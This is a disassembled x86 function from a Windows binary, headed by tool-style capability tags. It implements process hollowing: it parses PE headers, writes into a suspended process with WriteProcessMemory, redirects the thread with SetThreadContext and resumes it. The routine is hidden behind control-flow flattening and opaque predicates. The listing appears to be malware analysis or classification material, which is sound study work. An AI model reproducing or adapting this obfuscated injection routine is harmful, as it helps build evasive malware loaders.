Function at 0x40e2f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inspect section memory permissions
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1f0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1f8], eax
mov eax, dword [0x47f080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1f4], 0x97587d75
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1fc], eax
sub eax, 0x8011101f
je 0x41096e
jmp 0x40e335
mov eax, dword [ebp - 0x1fc]
sub eax, 0x810958c9
je 0x40fa9d
jmp 0x40e34b
mov eax, dword [ebp - 0x1fc]
sub eax, 0x81855ce2
je 0x411a39
jmp 0x40e361
mov eax, dword [ebp - 0x1fc]
sub eax, 0x81da8f72
je 0x40ffa1
jmp 0x40e377
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8382147f
je 0x412b38
jmp 0x40e38d
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8546d749
je 0x411ba0
jmp 0x40e3a3
mov eax, dword [ebp - 0x1fc]
sub eax, 0x86a69e98
je 0x41058b
jmp 0x40e3b9
mov eax, dword [ebp - 0x1fc]
sub eax, 0x87632351
je 0x411021
jmp 0x40e3cf
mov eax, dword [ebp - 0x1fc]
sub eax, 0x88ed89b5
je 0x412a70
jmp 0x40e3e5
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8946ef6c
je 0x412b23
jmp 0x40e3fb
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8af40098
je 0x4109dc
jmp 0x40e411
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8b5e1435
je 0x4121ba
jmp 0x40e427
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8be2757c
je 0x4110cc
jmp 0x40e43d
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8ce166cd
je 0x40ff86
jmp 0x40e453
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8e6f019d
je 0x412ade
jmp 0x40e469
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8e85f855
je 0x412a5b
jmp 0x40e47f
mov eax, dword [ebp - 0x1fc]
sub eax, 0x8f5d8bbc
je 0x412355
jmp 0x40e495
mov eax, dword [ebp - 0x1fc]
sub eax, 0x90a48019
je 0x4129fd
jmp 0x40e4ab
mov eax, dword [ebp - 0x1fc]
sub eax, 0x92590701
je 0x410683
jmp 0x40e4c1
mov eax, dword [ebp - 0x1fc]
sub eax, 0x929530c0
je 0x4129cb
jmp 0x40e4d7
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9391a456
je 0x41009d
jmp 0x40e4ed
mov eax, dword [ebp - 0x1fc]
sub eax, 0x96685b1d
je 0x4126d9
jmp 0x40e503
mov eax, dword [ebp - 0x1fc]
sub eax, 0x97587d75
je 0x40f64e
jmp 0x40e519
mov eax, dword [ebp - 0x1fc]
sub eax, 0x97b99e57
je 0x412559
jmp 0x40e52f
mov eax, dword [ebp - 0x1fc]
sub eax, 0x97d874cd
je 0x410c6a
jmp 0x40e545
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9a8752fd
je 0x40f73e
jmp 0x40e55b
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9b160c9b
je 0x411e58
jmp 0x40e571
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9ba193f2
je 0x411404
jmp 0x40e587
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9c84f1d8
je 0x411baf
jmp 0x40e59d
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9d0daf66
je 0x412c58
jmp 0x40e5b3
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9d73eb1f
je 0x40fff2
jmp 0x40e5c9
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9d875fca
je 0x412af3
jmp 0x40e5df
mov eax, dword [ebp - 0x1fc]
sub eax, 0x9e78f6f0
je 0x41007c
jmp 0x40e5f5
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa114aec1
je 0x412873
jmp 0x40e60b
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa309de8c
je 0x41157d
jmp 0x40e621
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa3178624
je 0x41095f
jmp 0x40e637
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa4e02b10
je 0x412136
jmp 0x40e64d
mov eax, dword [ebp - 0x1fc]
sub eax, 0xa8d640d0
je 0x412bd7
jmp 0x40e663
mov eax, dword [ebp - 0x1fc]
sub eax, 0xaa74071f
je 0x4127d3
jmp 0x40e679
mov eax, dword [ebp - 0x1fc]
sub eax, 0xab9b70c7
je 0x410168
jmp 0x40e68f
mov eax, dword [ebp - 0x1fc]
sub eax, 0xabf7ebcf
je 0x4120a5
jmp 0x40e6a5
mov eax, dword [ebp - 0x1fc]
sub eax, 0xad68cd36
je 0x411c06
jmp 0x40e6bb
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb0a0a58a
je 0x4116af
jmp 0x40e6d1
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb108d96c
je 0x40fccb
jmp 0x40e6e7
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb1a80ad9
je 0x41029e
jmp 0x40e6fd
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb297a567
je 0x411d3d
jmp 0x40e713
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb2a601c9
je 0x4106bc
jmp 0x40e729
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb4b564e0
je 0x4105dc
jmp 0x40e73f
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb763fad2
je 0x4106e7
jmp 0x40e755
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb7741e10
je 0x4125ed
jmp 0x40e76b
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb78988a4
je 0x40fef3
jmp 0x40e781
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb792cf5c
je 0x412ac1
jmp 0x40e797
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb8083145
je 0x4114a6
jmp 0x40e7ad
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb843feed
je 0x410cbb
jmp 0x40e7c3
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb85cce38
je 0x4128f4
jmp 0x40e7d9
mov eax, dword [ebp - 0x1fc]
sub eax, 0xb9fbab36
je 0x4123b5
jmp 0x40e7ef
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbba73412
je 0x411373
jmp 0x40e805
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbddc0c52
je 0x40f918
jmp 0x40e81b
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbecefe4a
je 0x411a9d
jmp 0x40e831
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbf406128
je 0x41121e
jmp 0x40e847
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbfb6f43b
je 0x410337
jmp 0x40e85d
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbfbe194b
je 0x41171e
jmp 0x40e873
mov eax, dword [ebp - 0x1fc]
sub eax, 0xbfc1563d
je 0x410bff
jmp 0x40e889
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc0c03679
je 0x4112c3
jmp 0x40e89f
mov eax, dword [ebp - 0x1fc]
sub eax, 0xc251168e
je 0x410b3d
push eax
mov eax, esp
mov dword [ebp - 0x1e4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1e0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1dc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1d8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1d4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1d0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1cc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1c0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1bc], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b8], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b4], eax
push eax
mov eax, esp
mov dword [ebp - 0x1b0], eax
push eax
mov eax, esp
mov dword [ebp - 0x1ac], eax
mov dword [ebp - 0x1f4], 0xd8ec3ff3
jmp 0x412c7d
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1ec]
mov ecx, dword [ecx + 0x3c]
add eax, 0xf13e2c34
add eax, ecx
sub eax, 0xf13e2c34
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x1f4], 0x42162fbd
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0xd695d675
jmp 0x412c7d
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xed015972
mov ecx, 0x18fe7d1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0x3e004c14
jmp 0x412c7d
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
mov edx, ecx
sub edx, 0x4f898415
sub edx, 1
add edx, 0x4f898415
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb85cce38
mov ecx, 0xc4367e4f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x1f4], 0x81da8f72
jmp 0x412c7d
mov eax, dword [0x48054c]
mov ecx, dword [0x480548]
mov edx, eax
sub edx, 0xbbe23585
sub edx, 1
add edx, 0xbbe23585
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b0831af
mov ecx, 0x9d73eb1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x164]
cmp eax, 0
setbe al
and al, 1
mov byte [ebp - 0x15d], al
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
mov edx, ecx
add edx, 0xb567585e
sub edx, 1
sub edx, 0xb567585e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b0831af
mov ecx, 0x9e78f6f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov dl, byte [ebp - 0x15d]
mov eax, 0x9391a456
mov ecx, 0x483b5d8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x58ae96e9
mov ecx, 0x1bcf2a27
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0x722eb1ee
jmp 0x412c7d
mov ecx, dword [ebp - 0x1e8]
mov eax, dword [ebp - 0x1ec]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x1f0]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x1d8]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x1f0]
sub ecx, 0x7721ff38
add ecx, 0x18
add ecx, 0x7721ff38
mov eax, dword [ebp - 0x1f0]
movzx eax, word [eax + 0x14]
add ecx, 0xda38eed7
add ecx, eax
sub ecx, 0xda38eed7
mov eax, dword [ebp - 0x1d4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1d0]
mov dword [eax], 0
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x1cc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c8]
mov dword [eax], 0
mov dword [ebp - 0x1f4], 0xbfb6f43b
jmp 0x412c7d
mov eax, dword [ebp - 0x1c8]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x1f4], 0x24efd7be
jmp 0x412c7d
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x148]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x140], eax
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x1f4], 0xb4b564e0
jmp 0x412c7d
mov ecx, dword [ebp - 0x140]
mov edx, dword [ebp - 0x13c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x1dc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax]
mov esi, dword [ebp - 0x1c8]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0xc]
add edx, 0x4b518ffb
add edx, eax
sub edx, 0x4b518ffb
mov esi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x144]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x1cc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x1d8]
mov esi, dword [eax]
mov eax, dword [ebp - 0x1c8]
imul eax, dword [eax], 0x28
add esi, eax
mov eax, 0x439d66
mov ecx, 0x92590701
cmp edx, dword [esi + 0xc]
cmovae eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x1cc]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c8]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0xc
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x1f4], 0xb2a601c9
jmp 0x412c7d
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x130], eax
mov eax, dword [ebp - 0x1d8]
mov eax, dword [eax]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x1f4], 0xb763fad2
jmp 0x412c7d
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x12c]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0x10]
mov esi, dword [ebp - 0x130]
xor eax, eax
sub eax, ecx
sub esi, eax
mov edx, dword [ebp - 0x138]
mov eax, 0x439d66
mov ecx, 0xb130bcc
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0x8011101f
jmp 0x412c7d
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe7f756e2
mov ecx, 0x8af40098
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x118]
mov dword [eax], ecx
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
mov edx, ecx
add edx, 0xca126ba5
sub edx, 1
sub edx, 0xca126ba5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe7f756e2
mov ecx, 0xcacf5dde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0xc28fced9
jmp 0x412c7d
mov eax, dword [0x48054c]
mov ecx, dword [0x480548]
mov edx, eax
sub edx, 0x637b3950
sub edx, 1
add edx, 0x637b3950
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd5c3e69
mov ecx, 0xb843feed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x1d0]
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
sub ecx, eax
mov eax, dword [ebp - 0x1c4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0xfc], eax
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdd5c3e69
mov ecx, 0xf291d6d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0xe0]
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0xd9], al
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
mov edx, ecx
add edx, 0x3ab3ffeb
sub edx, 1
sub edx, 0x3ab3ffeb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e85f855
mov ecx, 0x23ec44a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax]
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x1f4], 0x4984b8db
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0x3bd58786
jmp 0x412c7d
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b0]
mov ecx, dword [ecx]
sub ecx, 0x57077c48
add ecx, eax
add ecx, 0x57077c48
mov eax, dword [ebp - 0x1b0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1b4]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x1f4], 0x4c5f4c4e
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0x2825006b
jmp 0x412c7d
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0xbc]
mov dword [eax], ecx
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
mov edx, ecx
add edx, 0x20776ed6
sub edx, 1
sub edx, 0x20776ed6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb792cf5c
mov ecx, 0x58f46d55
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x1d0]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x1f4], 0xf31e1198
jmp 0x412c7d
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
add ecx, 0x683f3b79
add ecx, eax
sub ecx, 0x683f3b79
mov eax, dword [ebp - 0x1d0]
mov dword [eax], ecx
mov dword [ebp - 0x1f4], 0xc28fced9
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0x3456001b
jmp 0x412c7d
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x1f0]
movzx eax, word [eax + 6]
mov dword [ebp - 0xac], eax
mov eax, dword [0x48054c]
mov ecx, dword [0x480548]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x72bd0ff9
mov ecx, 0x51f3dd2d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov dl, byte [ebp - 0x99]
mov eax, 0x9c84f1d8
mov ecx, 0x7538c1cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov edx, dword [ebp - 0x98]
mov eax, 0x9c84f1d8
mov ecx, 0xe0af932d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0xb9fbab36
jmp 0x412c7d
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x91], al
mov dword [ebp - 0x1f4], 0xdf38aa03
jmp 0x412c7d
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x1f4], 0x494a8c33
jmp 0x412c7d
mov eax, dword [ebp - 0x1a4]
mov dword [eax], 4
mov dword [ebp - 0x1f4], 0x11d30285
jmp 0x412c7d
mov dl, byte [ebp - 0x82]
mov eax, 0xabf7ebcf
mov ecx, 0x47dd0403
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xd2ef9d23
or eax, edx
or ecx, 0xd2ef9d23
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x1f4], 0x7213437b
jmp 0x412c7d
mov eax, dword [ebp - 0x80]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x79], al
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
mov edx, ecx
add edx, 0x460879a6
sub edx, 1
sub edx, 0x460879a6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd1db33a
mov ecx, 0x8b5e1435
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov dl, byte [ebp - 0x79]
mov eax, 0x67febb8e
mov ecx, 0xa81513a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [0x48054c]
mov ecx, dword [0x480548]
mov edx, eax
add edx, 0x4b63b004
sub edx, 1
sub edx, 0x4b63b004
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8d640d0
mov ecx, 0xf75cedc7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x1f4], 0x54c07ae7
jmp 0x412c7d
mov eax, dword [ebp - 0x1a8]
mov eax, dword [eax]
mov dword [ebp - 0x74], eax
mov eax, dword [0x48054c]
mov ecx, dword [0x480548]
mov edx, eax
add edx, 0x14b25ebf
sub edx, 1
sub edx, 0x14b25ebf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9d0daf66
mov ecx, 0xd685b3da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov ecx, dword [0x48054c]
mov eax, dword [0x480548]
mov edx, ecx
sub edx, 0xa1338ab6
sub edx, 1
add edx, 0xa1338ab6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xfdc59aba
mov ecx, 0xec6e2297
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1f4], eax
jmp 0x412c7d
mov eax, dword [ebp - 0x6c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [ebp - 0x70]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x1dc]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1f0]
mov eax, dword [eax + 0x28]
add ecx, 0x1b4a3a41
add ecx, eax
sub ecx, 0x1b4a3a41
mov eax, dword [ebp - 0x1e4]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x1e4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x1f4], 0x512706a0
jmp 0x412c7d
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041d770
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 4
mov eax, dword [ebp - 0x190]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x194]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x1f4], 0xeddc1421
jmp 0x412c7d
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0x1f4], 0xb78988a4
jmp 0x412c7d
mov eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x1f4], 0xea4cb413
jmp 0x412c7d
mov dword [ebp - 0x1f4], 0xf01f9c2e
jmp 0x412c7d
